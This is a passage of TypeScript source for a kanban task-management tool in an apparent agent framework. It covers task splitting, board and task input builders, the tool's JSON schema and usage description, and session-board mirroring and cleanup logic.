}\n // Destructure the optional SplitKanbanTaskInput fields from the tool input.\n // childTitles\u2192titles and targetColumnId\u2192columnId are the only renames.\n const {\n targetColumnId,\n inheritAssignment,\n inheritLabels,\n inheritSuccessCriteria,\n inheritGoalMetrics,\n inheritDependencies,\n chainChildren,\n rewireDependents,\n } = input;\n const result = await splitTask(projectRoot, boardId, taskId, {\n titles: childTitles,\n ...extraSplitOptions,\n ...(targetColumnId !== undefined ? { columnId: targetColumnId } : {}),\n ...(inheritAssignment !== undefined ? { inheritAssignment } : {}),\n ...(inheritLabels !== undefined ? { inheritLabels } : {}),\n ...(inheritSuccessCriteria !== undefined ? { inheritSuccessCriteria } : {}),\n ...(inheritGoalMetrics !== undefined ? { inheritGoalMetrics } : {}),\n ...(inheritDependencies !== undefined ? { inheritDependencies } : {}),\n ...(chainChildren !== undefined ? { chainChildren } : {}),\n ...(rewireDependents !== undefined ? { rewireDependents } : {}),\n });\n if (!result) return fail('Task not found.');\n const freshParent = result.board.tasks?.find((t: KanbanTask) => t.id === taskId);\n if (!freshParent) {\n return fail(\n `Split succeeded but parent ${taskId} not found in returned board. ` +\n `Children: [${result.children.map((c) => c.id).join(', ')}].`,\n );\n }\n return {\n ok: true,\n message: `${result.children.length} child task(s) created.`,\n board: result.board,\n task: freshParent,\n children: result.children,\n };\n}\n\nexport async function requireBoard(\n projectRoot: string,\n boardId: string | undefined,\n): Promise<KanbanBoard | null> {\n return boardId ? getBoard(projectRoot, boardId) : null;\n}\n", "import type { KanbanToolInput } from './kanban-tool-types.js';\n\nexport function boardCreateInput(input: KanbanToolInput, title: string) {\n return {\n title,\n ...(input.description !== undefined ? { description: input.description } : {}),\n ...(input.tags !== undefined ? { tags: input.tags } : {}),\n ...(input.generatedBy !== undefined ? { generatedBy: input.generatedBy } : {}),\n ...(input.atomicityMode !== undefined\n ? {\n atomicity: {\n mode: input.atomicityMode,\n decomposition: input.atomicityDecomposition ?? 'propose',\n },\n }\n : {}),\n ...(input.gateEnforcement !== undefined\n ? { completionGate: { enforcement: input.gateEnforcement } }\n : {}),\n };\n}\n\nexport function boardUpdatePatch(input: KanbanToolInput) {\n return {\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.description !== undefined ? { description: input.description } : {}),\n ...(input.tags !== undefined ? { tags: input.tags } : {}),\n ...(input.atomicityMode !== undefined\n ? {\n atomicity: {\n mode: input.atomicityMode,\n decomposition: input.atomicityDecomposition ?? 'propose',\n },\n }\n : {}),\n ...(input.gateEnforcement !== undefined\n ? { completionGate: { enforcement: input.gateEnforcement } }\n : {}),\n };\n}\n\nexport function duplicateBoardOptions(input: KanbanToolInput) {\n return {\n ...(input.title !== undefined ? { title: input.title } : {}),\n ...(input.generatedBy !== undefined ? { generatedBy: input.generatedBy } : {}),\n ...(input.includeTasks !== undefined ? { includeTasks: input.includeTasks } : {}),\n ...(input.includeCompletedTasks !== undefined\n ? { includeCompletedTasks: input.includeCompletedTasks }\n : {}),\n ...(input.preserveAssignment !== undefined ? { preserveAssignment: input.preserveAssignment } : {}),\n };\n}\n", "import { randomUUID } from 'node:crypto';\nimport type { AssignKanbanTaskInput, KanbanAgentAssignment } from '@wrongstack/kanban';\nimport type { KanbanToolInput } from './kanban-tool-types.js';\n\nexport function taskInput(input: KanbanToolInput) {\n const assignment = hasAssignmentInput(input) ? assignmentForTaskCreate(input) : undefined;\n return {\n title: input.title ?? '',\n columnId: input.columnId,\n description: input.description,\n dueDate: input.dueDate,\n priority: input.priority,\n ...(input.taskType !== undefined ? { type: input.taskType } : {}),\n status: input.status,\n labels: input.labels,\n ...((assignment?.agentId ?? assignment?.role ?? assignment?.name)\n ? { assignedAgent: assignment.agentId ?? assignment.role ?? assignment.name }\n : {}),\n ...((input.assignee ?? assignment?.name ?? assignment?.agentId)\n ? { assignee: input.assignee ?? assignment?.name ?? assignment?.agentId }\n : {}),\n ...(mergedDependsOn(input) ? { dependsOn: mergedDependsOn(input) } : {}),\n ...(input.estimatedHours !== undefined ? { estimatedHours: input.estimatedHours } : {}),\n ...(input.actualHours !== undefined ? { actualHours: input.actualHours } : {}),\n ...(assignment ? { assignment } : {}),\n ...(input.order !== undefined ? { order: input.order } : {}),\n ...(input.retryPolicy !== undefined ? { retryPolicy: input.retryPolicy } : {}),\n ...(input.costCeilingUsd !== undefined ? { costCeilingUsd: input.costCeilingUsd } : {}),\n ...(input.childTitles !== undefined ? { childTaskIds: input.childTitles } : {}),\n ...(input.checkDescription !== undefined\n ? {\n successCriteria: [\n {\n id: randomUUID(),\n description: input.checkDescription,\n type: 'manual' as const,\n status: input.checkStatus ?? ('pending' as const),\n },\n ],\n }\n : {}),\n ...(input.metricName !== undefined\n ? {\n goalMetrics: [\n {\n id: randomUUID(),\n name: input.metricName,\n status: input.metricStatus ?? ('pending' as const),\n ...(input.metricTarget !== undefined ? { target: input.metricTarget } : {}),\n ...(input.metricCurrent !== undefined ? { current: input.metricCurrent } : {}),\n ...(input.metricUnit !== undefined ? { unit: input.metricUnit } : {}),\n ...(input.metricNotes !== undefined ? { notes: input.metricNotes } : {}),\n },\n ],\n }\n : {}),\n ...(input.url !== undefined\n ? {\n links: [\n {\n url: input.url,\n type: input.linkType ?? ('url' as const),\n ...(input.linkTitle !== undefined ? { title: input.linkTitle } : {}),\n },\n ],\n }\n : {}),\n ...(input.note !== undefined\n ? {\n notes: [\n {\n id: randomUUID(),\n author: input.author ?? 'agent',\n content: input.note,\n createdAt: new Date().toISOString(),\n },\n ],\n }\n : {}),\n ...(input.graphId !== undefined\n ? {\n origin: {\n system: input.sourceSystem ?? 'kanban-tool',\n ...(input.graphId !== undefined ? { graphId: input.graphId } : {}),\n ...(input.specId !== undefined ? { specId: input.specId } : {}),\n ...(input.phaseId !== undefined ? { phaseId: input.phaseId } : {}),\n },\n }\n : {}),\n };\n}\n\n/** Union of the single `dependencyTaskId` and the multi `dependsOn[]` inputs. */\nexport function mergedDependsOn(input: KanbanToolInput): string[] | undefined {\n const ids = [\n ...(input.dependsOn ?? []),\n ...(input.dependencyTaskId !== undefined ? [input.dependencyTaskId] : []),\n ].filter((id, i, arr) => id && arr.indexOf(id) === i);\n return ids.length > 0 ? ids : undefined;\n}\n\nexport function taskPatch(input: KanbanToolInput) {\n return {\n title: input.title,\n description: input.description,\n dueDate: input.dueDate,\n columnId: input.columnId,\n order: input.order,\n priority: input.priority,\n ...(input.taskType !== undefined ? { type: input.taskType } : {}),\n status: input.status,\n labels: input.labels,\n assignedAgent: input.agentId,\n ...(mergedDependsOn(input) ? { dependsOn: mergedDependsOn(input) } : {}),\n ...(input.estimatedHours !== undefined ? { estimatedHours: input.estimatedHours } : {}),\n ...(input.actualHours !== undefined ? { actualHours: input.actualHours } : {}),\n };\n}\n\nexport function assignmentInput(input: KanbanToolInput): AssignKanbanTaskInput {\n return {\n agentId: input.agentId,\n name: input.name,\n role: input.role,\n provider: input.provider,\n model: input.model,\n fallbackProfile: input.fallbackProfile,\n fallbackModels: input.fallbackModels,\n tools: input.tools,\n allowedCapabilities: input.allowedCapabilities,\n assignee: input.assignee,\n leaseId: input.leaseId,\n claimedAt: input.claimedAt,\n heartbeatAt: input.heartbeatAt,\n leaseExpiresAt: input.leaseExpiresAt,\n attempt: input.attempt,\n maxAttempts: input.maxAttempts,\n costCeilingUsd: input.costCeilingUsd,\n retryPolicy: input.retryPolicy,\n lastFailureKind: input.lastFailureKind,\n };\n}\n\nfunction hasAssignmentInput(input: KanbanToolInput): boolean {\n return (\n input.agentId !== undefined ||\n input.name !== undefined ||\n input.role !== undefined ||\n input.provider !== undefined ||\n input.model !== undefined ||\n input.fallbackProfile !== undefined ||\n input.fallbackModels !== undefined ||\n input.tools !== undefined ||\n input.allowedCapabilities !== undefined ||\n input.assignee !== undefined ||\n input.leaseId !== undefined ||\n input.claimedAt !== undefined ||\n input.heartbeatAt !== undefined ||\n input.leaseExpiresAt !== undefined ||\n input.attempt !== undefined ||\n input.maxAttempts !== undefined ||\n input.costCeilingUsd !== undefined ||\n input.retryPolicy !== undefined ||\n input.lastFailureKind !== undefined ||\n input.assignmentStatus !== undefined\n );\n}\n\nfunction assignmentForTaskCreate(input: KanbanToolInput): KanbanAgentAssignment {\n return {\n status: input.assignmentStatus ?? 'assigned',\n ...(input.agentId !== undefined ? { agentId: input.agentId } : {}),\n ...(input.name !== undefined ? { name: input.name } : {}),\n ...(input.role !== undefined ? { role: input.role } : {}),\n ...(input.provider !== undefined ? { provider: input.provider } : {}),\n ...(input.model !== undefined ? { model: input.model } : {}),\n ...(input.fallbackProfile !== undefined ? { fallbackProfile: input.fallbackProfile } : {}),\n ...(input.fallbackModels !== undefined ? { fallbackModels: input.fallbackModels } : {}),\n ...(input.tools !== undefined ? { tools: input.tools } : {}),\n ...(input.allowedCapabilities !== undefined\n ? { allowedCapabilities: input.allowedCapabilities }\n : {}),\n ...(input.leaseId !== undefined ? { leaseId: input.leaseId } : {}),\n ...(input.claimedAt !== undefined ? { claimedAt: input.claimedAt } : {}),\n ...(input.heartbeatAt !== undefined ? { heartbeatAt: input.heartbeatAt } : {}),\n ...(input.leaseExpiresAt !== undefined ? { leaseExpiresAt: input.leaseExpiresAt } : {}),\n ...(input.attempt !== undefined ? { attempt: input.attempt } : {}),\n ...(input.maxAttempts !== undefined ? { maxAttempts: input.maxAttempts } : {}),\n ...(input.costCeilingUsd !== undefined ? { costCeilingUsd: input.costCeilingUsd } : {}),\n ...(input.retryPolicy !== undefined ? { retryPolicy: input.retryPolicy } : {}),\n ...(input.lastFailureKind !== undefined ? { lastFailureKind: input.lastFailureKind } : {}),\n };\n}\n", "import type { JSONSchema } from '@wrongstack/core/types';\n\nexport const KANBAN_TOOL_DESCRIPTION =\n 'Manage and audit project-scoped multi-kanban boards through the shared IPC Kanban server and its SQLite store. Managed cards enforce fully specified details and adjacent Backlog \u2192 Todo \u2192 Running \u2192 Review \u2192 Done transitions with persistent comments and evidence. Successful board access records live agent/session presence. Use verify_completion to validate a task against its success criteria and persist the verification report. Use split_atomic to split a task into child tasks with parent.atomic=true in a single atomic board mutation, enforcing subtree verification before the parent can complete.';\n\nexport const KANBAN_TOOL_USAGE_HINT =\n 'Use this for durable project kanban state. Reassess with get_board whenever evidence changes; agents may add, update, split, merge, reprioritize, or remove tasks so the board remains a live plan. Presence includes active/last-seen session and agent metadata. For managed boards, fully fill card details, use transition_task after every material step, attach truthful evidence, and never use update_task/move_task to bypass lifecycle guards. Worker completion enters Review; only passed acceptance criteria plus review evidence allow Done. Use verify_completion to generate a verification report (persisted automatically) and split_atomic to atomically create child subtasks with the atomic flag pre-set.';\n\nexport const KANBAN_INPUT_SCHEMA: JSONSchema = {\n type: 'object',\n properties: {\n action: {\n type: 'string',\n enum: [\n 'list_boards',\n 'get_board',\n 'create_board',\n 'duplicate_board',\n 'update_board',\n 'adopt_managed_lifecycle',\n 'delete_board',\n 'generate_board',\n 'export_markdown',\n 'export_task_graph',\n 'sync_task_graph',\n 'create_from_graph',\n 'import_session_tasks',\n 'search_tasks',\n 'ready_tasks',\n 'snapshot',\n 'add_column',\n 'update_column',\n 'delete_column',\n 'add_task',\n 'split_task',\n 'merge_tasks',\n 'copy_task',\n 'transfer_task',\n 'get_task',\n 'update_task',\n 'transition_task',\n 'repair_managed_projection',\n 'move_task',\n 'delete_task',\n 'set_chain',\n 'get_chain',\n 'claim_task',\n 'release_task',\n 'assign_task',\n 'mark_assignment',\n 'heartbeat_assignment',\n 'recover_stale',\n 'events',\n 'queue_health',\n 'add_dependency',\n 'add_goal_metric',\n 'update_goal_metric',\n 'add_check',\n 'update_check',\n 'add_note',\n 'add_link',\n 'verify_completion',\n 'split_atomic',\n 'assess_atomicity',\n 'propose_decomposition',\n ],\n },\n boardId: { type: 'string' },\n taskId: { type: 'string' },\n taskIds: { type: 'array', items: { type: 'string' } },\n chainId: { type: 'string' },\n columnId: { type: 'string' },\n targetBoardId: { type: 'string' },\n targetColumnId: { type: 'string' },\n title: { type: 'string' },\n description: { type: 'string' },\n dueDate: { type: 'string' },\n tags: { type: 'array', items: { type: 'string' } },\n labels: { type: 'array', items: { type: 'string' } },\n priority: { type: 'string', enum: ['critical', 'high', 'medium', 'low'] },\n taskType: {\n type: 'string',\n enum: ['feature', 'bugfix', 'refactor', 'docs', 'test', 'chore'],\n },\n status: {\n type: 'string',\n enum: [\n 'pending',\n 'ready',\n 'in_progress',\n 'blocked',\n 'review',\n 'completed',\n 'failed',\n 'archived',\n ],\n },\n order: { type: 'number' },\n query: { type: 'string' },\n limit: { type: 'number' },\n agentId: { type: 'string' },\n name: { type: 'string' },\n role: { type: 'string' },\n provider: { type: 'string' },\n model: { type: 'string' },\n fallbackProfile: { type: 'string' },\n fallbackModels: { type: 'array', items: { type: 'string' } },\n tools: { type: 'array', items: { type: 'string' } },\n allowedCapabilities: { type: 'array', items: { type: 'string' } },\n leaseId: { type: 'string' },\n claimedAt: { type: 'string' },\n heartbeatAt: { type: 'string' },\n leaseExpiresAt: { type: 'string' },\n attempt: { type: 'number' },\n maxAttempts: { type: 'number' },\n subagentId: { type: 'string' },\n runTaskId: { type: 'string' },\n lastResult: { type: 'string' },\n error: { type: 'string' },\n expectedLeaseId: { type: 'string' },\n assignmentStatus: {\n type: 'string',\n enum: ['assigned', 'queued', 'running', 'completed', 'failed', 'cancelled'],\n },\n lifecycleStage: {\n type: 'string',\n enum: ['backlog', 'todo', 'running', 'review', 'done'],\n },\n transitionAction: { type: 'string' },\n transitionComment: { type: 'string' },\n attachmentUrl: { type: 'string' },\n attachmentTitle: { type: 'string' },\n attachmentType: {\n type: 'string',\n enum: ['issue', 'pr', 'doc', 'commit', 'design', 'file', 'url', 'other'],\n },\n releaseStatus: { type: 'string', enum: ['pending', 'ready', 'blocked'] },\n releaseReason: { type: 'string' },\n clearAssignee: { type: 'boolean' },\n recoveryMode: { type: 'string', enum: ['auto', 'release', 'retry', 'fail'] },\n recoveryNow: { type: 'string' },\n recoveryPolicyFailOnCostCeiling: { type: 'boolean' },\n recoveryPolicyReleaseOnFailureKinds: { type: 'array', items: { type: 'string' } },\n recoveryPolicyReleaseOnHeartbeatDue: { type: 'boolean' },\n recoveryPolicyRetryPolicyOverride: {\n type: 'string',\n enum: ['off', 'incremental', 'exponential'],\n },\n assignee: { type: 'string' },\n costCeilingUsd: { type: 'number' },\n retryPolicy: { type: 'string', enum: ['off', 'incremental', 'exponential'] },\n lastFailureKind: { type: 'string' },\n dependsOn: { type: 'array', items: { type: 'string' } },\n estimatedHours: { type: 'number' },\n actualHours: { type: 'number' },\n taskGraph: { type: 'object' },\n graphId: { type: 'string' },\n specId: { type: 'string' },\n sourceSystem: { type: 'string' },\n phaseId: { type: 'string' },\n preserveOriginTaskIds: { type: 'boolean' },\n includeArchived: { type: 'boolean' },\n archiveMissingTasks: { type: 'boolean' },\n preserveManualDependencies: { type: 'boolean' },\n dependencyTaskId: { type: 'string' },\n enforceDependencies: { type: 'boolean' },\n childTitles: { type: 'array', items: { type: 'string' } },\n inheritAssignment: { type: 'boolean' },\n inheritLabels: { type: 'boolean' },\n inheritSuccessCriteria: { type: 'boolean' },\n inheritGoalMetrics: { type: 'boolean' },\n inheritDependencies: { type: 'boolean' },\n chainChildren: { type: 'boolean' },\n rewireDependents: { type: 'boolean' },\n closeSourceTasks: { type: 'boolean' },\n metricId: { type: 'string' },\n metricName: { type: 'string' },\n metricTarget: { oneOf: [{ type: 'string' }, { type: 'number' }] },\n metricCurrent: { oneOf: [{ type: 'string' }, { type: 'number' }] },\n metricUnit: { type: 'string' },\n metricStatus: { type: 'string', enum: ['pending', 'met', 'missed', 'waived'] },\n metricNotes: { type: 'string' },\n checkId: { type: 'string' },\n checkDescription: { type: 'string' },\n checkStatus: { type: 'string', enum: ['pending', 'passed', 'failed', 'skipped'] },\n note: { type: 'string' },\n author: { type: 'string' },\n url: { type: 'string' },\n linkTitle: { type: 'string' },\n linkType: {\n type: 'string',\n enum: ['issue', 'pr', 'doc', 'commit', 'design', 'file', 'url', 'other'],\n },\n context: { type: 'string' },\n columns: { type: 'array', items: { type: 'string' } },\n generatedBy: { type: 'string' },\n includeTasks: { type: 'boolean' },\n includeCompletedTasks: { type: 'boolean' },\n preserveAssignment: { type: 'boolean' },\n preserveDependencies: { type: 'boolean' },\n moveTasksToColumnId: { type: 'string' },\n atomicityMode: { type: 'string', enum: ['off', 'assess', 'enforce'] },\n atomicityDecomposition: { type: 'string', enum: ['auto', 'propose'] },\n gateEnforcement: { type: 'string', enum: ['strict', 'soft', 'off'] },\n subtasks: {\n type: 'array',\n minItems: 2,\n items: {\n type: 'object',\n properties: {\n title: { type: 'string' },\n description: { type: 'string' },\n successCriteria: { type: 'array', items: { type: 'string' } },\n dependsOnIndex: { type: 'array', items: { type: 'number' } },\n },\n required: ['title'],\n },\n },\n },\n required: ['action'],\n};\n", "import { touchKanbanPresence } from '@wrongstack/kanban';\nimport type { KanbanToolInput, KanbanToolOutput } from './kanban-tool-types.js';\n\nexport interface KanbanPresenceContext {\n session?: { id?: string | undefined } | undefined;\n agentId?: string | undefined;\n agentName?: string | undefined;\n}\n\nexport function createKanbanPresenceWrapper(\n projectRoot: string,\n input: KanbanToolInput,\n ctx: KanbanPresenceContext,\n) {\n return async (result: KanbanToolOutput): Promise<KanbanToolOutput> => {\n const boardId = result.board?.id ?? input.boardId;\n if (!result.ok || !boardId || !ctx.session?.id || !ctx.agentId) return result;\n try {\n const board = await touchKanbanPresence(projectRoot, boardId, {\n sessionId: ctx.session.id,\n agentId: ctx.agentId,\n agentName: ctx.agentName,\n taskId: input.taskId ?? result.task?.id,\n runTaskId: input.runTaskId,\n });\n return board ? { ...result, board } : result;\n } catch {\n return result;\n }\n };\n}\n", "import { type FSWatcher, watch } from 'node:fs';\nimport { basename, dirname } from 'node:path';\nimport type { Context, TodoItem } from '@wrongstack/core/agent';\nimport { getSharedProjectMailbox } from '@wrongstack/core/coordination';\nimport {\n loadPlan,\n loadTasks,\n mutatePlan,\n mutateTasks,\n type PlanFile,\n type PlanItem,\n type TaskFile,\n} from '@wrongstack/core/storage';\nimport { deserializeTaskGraph } from '@wrongstack/core/tasking';\nimport type { SerializedTaskGraph, TaskStatus } from '@wrongstack/core/types';\nimport { resolveWstackPaths, type TaskItem } from '@wrongstack/core/utils';\nimport {\n bridgeKanbanSupervisor,\n createBoard,\n getBoard,\n type KanbanBoard,\n type KanbanColumn,\n type KanbanTask,\n listBoards,\n removeBoard,\n syncBoardFromTaskGraph,\n touchKanbanPresence,\n updateBoard,\n} from '@wrongstack/kanban';\n\nconst SESSION_BOARD_TAG = 'session-work';\nconst MIRROR_DISABLED_ENV = 'WRONGSTACK_KANBAN_TASK_MIRROR';\n\n/** The canonical workflow shared by WebUI and TUI session boards. */\nexport const SESSION_KANBAN_COLUMNS: KanbanColumn[] = [\n { id: 'todo', title: 'Todo', order: 0, wipLimit: 0, color: '#2563eb' },\n { id: 'in-progress', title: 'Running', order: 1, wipLimit: 1, color: '#d97706' },\n { id: 'review', title: 'Preview', order: 2, wipLimit: 0, color: '#7c3aed' },\n { id: 'done', title: 'Done', order: 3, wipLimit: 0, color: '#16a34a' },\n];\n\nconst boardQueue = new Map<string, Promise<void>>();\nconst boardEnsures = new Map<string, Promise<KanbanBoard>>();\ntype PendingMirror = {\n projectRoot: string;\n sessionId: string;\n graph: SerializedTaskGraph;\n sourceSystem: 'session-todo' | 'session-task' | 'session-plan';\n};\nconst pendingMirrors = new Map<string, PendingMirror>();\nconst activeMirrors = new Set<string>();\nconst bindings = new WeakMap<Context, () => void>();\nconst suppressedTodoMirrors = new WeakSet<Context>();\nconst activeSessionBoards = new Map<string, number>();\n\nfunction boardKey(projectRoot: string, sessionId: string): string {\n return `${projectRoot}\\0${sessionId}`;\n}\n\nfunction mirrorKey(\n projectRoot: string,\n sessionId: string,\n sourceSystem: PendingMirror['sourceSystem'],\n): string {\n return `${boardKey(projectRoot, sessionId)}\\0${sourceSystem}`;\n}\n\nfunction sessionTag(sessionId: string): string {\n return `session:${sessionId}`;\n}\n\nfunction sessionBoardTitle(sessionId: string): string {\n const leaf = sessionId.split(/[\\\\/]/).filter(Boolean).pop() ?? sessionId;\n return `Session ${leaf.slice(0, 12)}`;\n}\n\nfunction sessionBoardTags(sessionId: string): string[] {\n return ['session', SESSION_BOARD_TAG, sessionTag(sessionId)];\n}\n\nfunction sessionIdFromTags(tags: readonly string[] | undefined): string | null {\n const tag = tags?.find((candidate) => candidate.startsWith('session:'));\n return tag?.slice('session:'.length) || null;\n}\n\nfunction isOwnedSessionBoard(tags: readonly string[] | undefined): boolean {\n return Boolean(tags?.includes(SESSION_BOARD_TAG) && sessionIdFromTags(tags));\n}\n\nfunction retainActiveSessionBoard(projectRoot: string, sessionId: string): void {\n const key = boardKey(projectRoot, sessionId);\n activeSessionBoards.set(key, (activeSessionBoards.get(key) ?? 0) + 1);\n}\n\nfunction releaseActiveSessionBoard(projectRoot: string, sessionId: string): void {\n const key = boardKey(projectRoot, sessionId);\n const remaining = (activeSessionBoards.get(key) ?? 0) - 1;\n if (remaining > 0) activeSessionBoards.set(key, remaining);\n else activeSessionBoards.delete(key);\n}\n\nfunction isSessionBoardActive(projectRoot: string, sessionId: string): boolean {\n return (activeSessionBoards.get(boardKey(projectRoot, sessionId)) ?? 0) > 0;\n}\n\nfunction sameColumns(columns: readonly KanbanColumn[]): boolean {\n return (\n columns.length === SESSION_KANBAN_COLUMNS.length &&\n columns.every((column, index) => column.id === SESSION_KANBAN_COLUMNS[index]?.id)\n );\n}\n\n/** Create (or migrate) the single Kanban board owned by a session. */\nexport async function ensureSessionKanbanBoard(\n projectRoot: string | undefined,\n sessionId: string,\n): Promise<KanbanBoard | null> {\n if (!projectRoot || !sessionId || process.env[MIRROR_DISABLED_ENV] === '0') return null;\n const key = boardKey(projectRoot, sessionId);\n const inFlight = boardEnsures.get(key);\n if (inFlight) return inFlight;\n\n const promise = (async () => {\n const summary = (await listBoards(projectRoot)).find((board) =>\n board.tags?.includes(sessionTag(sessionId)),\n );\n let board = summary ? await getBoard(projectRoot, summary.id) : null;\n if (!board) {\n return createBoard(projectRoot, {\n title: sessionBoardTitle(sessionId),\n description: 'Live session work: todos, tasks, and plan items.',\n tags: sessionBoardTags(sessionId),\n columns: SESSION_KANBAN_COLUMNS,\n generatedBy: `session-kanban:${sessionId}`,\n });\n }\n\n // Boards produced by the older task/plan mirrors used the generic five\n // columns. Migrate only session-owned boards; updateBoard reconciles cards\n // from Backlog into Todo while preserving Running/Preview/Done cards.\n if (!sameColumns(board.columns) || !board.tags?.includes(SESSION_BOARD_TAG)) {\n board =\n (await updateBoard(projectRoot, board.id, {\n title: sessionBoardTitle(sessionId),\n description: 'Live session work: todos, tasks, and plan items.',\n tags: [...new Set([...(board.tags ?? []), ...sessionBoardTags(sessionId)])],\n columns: SESSION_KANBAN_COLUMNS,\n })) ?? board;\n }\n return board;\n })();\n\n boardEnsures.set(key, promise);\n try {\n return await promise;\n } finally {\n boardEnsures.delete(key);\n }\n}\n\nfunction enqueueBoardWork<T>(\n projectRoot: string,\n sessionId: string,\n work: () => Promise<T>,\n): Promise<T> {\n const key = boardKey(projectRoot, sessionId);\n const previous = boardQueue.get(key) ?? Promise.resolve();\n const result = previous.catch(() => undefined).then(work);\n const tail = result.then(\n () => undefined,\n () => undefined,\n );\n boardQueue.set(key, tail);\n void tail.then(() => {\n if (boardQueue.get(key) === tail) boardQueue.delete(key);\n });\n return result;\n}\n\nasync function removeEmptySessionBoard(\n projectRoot: string,\n boardId: string,\n sessionId: string,\n): Promise<string | null> {\n return enqueueBoardWork(projectRoot, sessionId, async () => {\n if (isSessionBoardActive(projectRoot, sessionId)) return null;\n const board = await getBoard(projectRoot, boardId);\n if (!board || board.tasks.length > 0 || !isOwnedSessionBoard(board.tags)) return null;\n if (sessionIdFromTags(board.tags) !== sessionId) return null;\n return (await removeBoard(projectRoot, board.id)) ? board.id : null;\n });\n}\n\n/** Remove a particular inactive session's system-owned board when it has no cards. */\nexport async function cleanupSessionKanbanBoardIfEmpty(\n projectRoot: string | undefined,\n sessionId: string,\n): Promise<string[]> {\n if (!projectRoot || !sessionId || process.env[MIRROR_DISABLED_ENV] === '0') return [];\n if (isSessionBoardActive(projectRoot, sessionId)) return [];\n const candidates = (await listBoards(projectRoot)).filter(\n (board) =>\n board.taskCount === 0 &&\n isOwnedSessionBoard(board.tags) &&\n sessionIdFromTags(board.tags) === sessionId,\n );\n const removed = await Promise.all(\n candidates.map((board) => removeEmptySessionBoard(projectRoot, board.id, sessionId)),\n );\n return removed.filter((boardId): boardId is string => Boolean(boardId));\n}\n\n/** Prune stale empty session boards while preserving manual and live boards. */\nexport async function cleanupEmptySessionKanbanBoards(\n projectRoot: string | undefined,\n activeSessionId = '',\n): Promise<string[]> {\n if (!projectRoot || process.env[MIRROR_DISABLED_ENV] === '0') return [];\n const candidates = (await listBoards(projectRoot)).flatMap((board) => {\n const ownerSessionId = sessionIdFromTags(board.tags);\n return board.taskCount === 0 &&\n isOwnedSessionBoard(board.tags) &&\n ownerSessionId &&\n ownerSessionId !== activeSessionId &&\n !isSessionBoardActive(projectRoot, ownerSessionId)\n ? [{ boardId: board.id, sessionId: ownerSessionId }]\n : [];\n });\n const removed = await Promise.all(\n candidates.map(({ boardId, sessionId }) =>\n removeEmptySessionBoard(projectRoot, boardId, sessionId),\n ),\n );\n return removed.filter((boardId): boardId is string => Boolean(boardId));\n}\n\nasync function projectGraph(\n projectRoot: string | undefined,\n sessionId: string,\n graph: SerializedTaskGraph,\n sourceSystem: 'session-todo' | 'session-task' | 'session-plan',\n): Promise<KanbanBoard | null> {\n if (!projectRoot || !sessionId || process.env[MIRROR_DISABLED_ENV] === '0') return null;\n return enqueueBoardWork(projectRoot, sessionId, async () => {\n const board = await ensureSessionKanbanBoard(projectRoot, sessionId);\n if (!board) return null;\n const result = await syncBoardFromTaskGraph(\n projectRoot,\n board.id,\n deserializeTaskGraph(graph),\n {\n sourceSystem,\n tags: [...new Set([...(board.tags ?? []), ...sessionBoardTags(sessionId)])],\n archiveMissingTasks: true,\n includeCompletedTasks: true,\n },\n );\n return result?.board ?? null;\n });\n}\n\n/**\n * Queue an observational mirror without retaining every intermediate state.\n * Todo/task/plan streams are independent, but within each stream only the\n * newest pending graph matters. This bounds a stalled file lock to one active\n * and one pending projection instead of an arbitrarily long Promise chain.\n */\nfunction queueLatestMirror(\n projectRoot: string | undefined,\n sessionId: string,\n graph: SerializedTaskGraph,\n sourceSystem: PendingMirror['sourceSystem'],\n): void {\n if (!projectRoot || !sessionId || process.env[MIRROR_DISABLED_ENV] === '0') return;\n const key = mirrorKey(projectRoot, sessionId, sourceSystem);\n pendingMirrors.set(key, { projectRoot, sessionId, graph, sourceSystem });\n if (activeMirrors.has(key)) return;\n activeMirrors.add(key);\n void (async () => {\n try {\n for (;;) {\n const pending = pendingMirrors.get(key);\n if (!pending) break;\n pendingMirrors.delete(key);\n try {\n await projectGraph(\n pending.projectRoot,\n pending.sessionId,\n pending.graph,\n pending.sourceSystem,\n );\n } catch {\n // Mirrors are observational. A newer pending snapshot, if present,\n // still gets a chance after a transient lock or filesystem failure.\n }\n }\n } finally {\n activeMirrors.delete(key);\n // A mirror can arrive between the last Map read and deleting the active\n // marker. Re-arm once so that snapshot cannot be stranded.\n const pending = pendingMirrors.get(key);\n if (pending) {\n pendingMirrors.delete(key);\n queueLatestMirror(\n pending.projectRoot,\n pending.sessionId,\n pending.graph,\n pending.sourceSystem,\n );\n }\n }\n })();\n}\n\nexport function todoListToSerializedGraph(\n todos: readonly TodoItem[],\n sessionId: string,\n): SerializedTaskGraph {\n const nodes = todos.map((todo, index) => ({\n id: todo.id,\n title: todo.content,\n description: todo.activeForm ?? '',\n type: 'chore' as const,\n priority: 'medium' as const,\n status: todo.status,\n createdAt: index,\n updatedAt: index,\n }));\n return {\n id: `todo:${sessionId}`,\n specId: `todo:${sessionId}`,\n title: 'Session todos',\n nodes,\n edges: [],\n rootNodes: nodes.map((node) => node.id),\n createdAt: 0,\n updatedAt: 0,\n };\n}\n\nexport function taskFileToSerializedGraph(\n tasks: readonly TaskItem[],\n sessionId: string,\n): SerializedTaskGraph {\n const ids = new Set(tasks.map((task) => task.id));\n const nodes = tasks.map((task, index) => ({\n id: task.id,\n title: task.title,\n description: task.description ?? '',\n type: task.type,\n priority: task.priority,\n status: task.status,\n ...(task.assignee ? { assignee: task.assignee } : {}),\n ...(task.estimateHours !== undefined ? { estimateHours: task.estimateHours } : {}),\n createdAt: index,\n updatedAt: index,\n }));\n const edges = tasks.flatMap((task) =>\n (task.dependsOn ?? [])\n .filter((dependency) => ids.has(dependency))\n .map((dependency) => ({\n id: `${dependency}->${task.id}`,\n from: dependency,\n to: task.id,\n type: 'depends_on' as const,\n })),\n );\n const hasIncoming = new Set(edges.map((edge) => edge.to));\n const rootNodes = nodes.filter((node) => !hasIncoming.has(node.id)).map((node) => node.id);\n return {\n // Keep the historical graph id so existing mirrored task cards are reused.\n id: `session:${sessionId}`,\n specId: `session:${sessionId}`,\n title: 'Session tasks',\n nodes,\n edges,\n rootNodes: rootNodes.length ? rootNodes : nodes[0] ? [nodes[0].id] : [],\n createdAt: 0,\n updatedAt: 0,\n };\n}\n\nconst PLAN_STATUS_TO_TASK: Record<PlanItem['status'], TaskStatus> = {\n open: 'pending',\n in_progress: 'in_progress',\n done: 'completed',\n};\n\nexport function planFileToSerializedGraph(\n items: readonly PlanItem[],\n sessionId: string,\n): SerializedTaskGraph {\n const nodes = items.map((item, index) => ({\n id: item.id,\n title: item.title,\n description: item.details ?? '',\n type: 'chore' as const,\n priority: 'medium' as const,\n status: 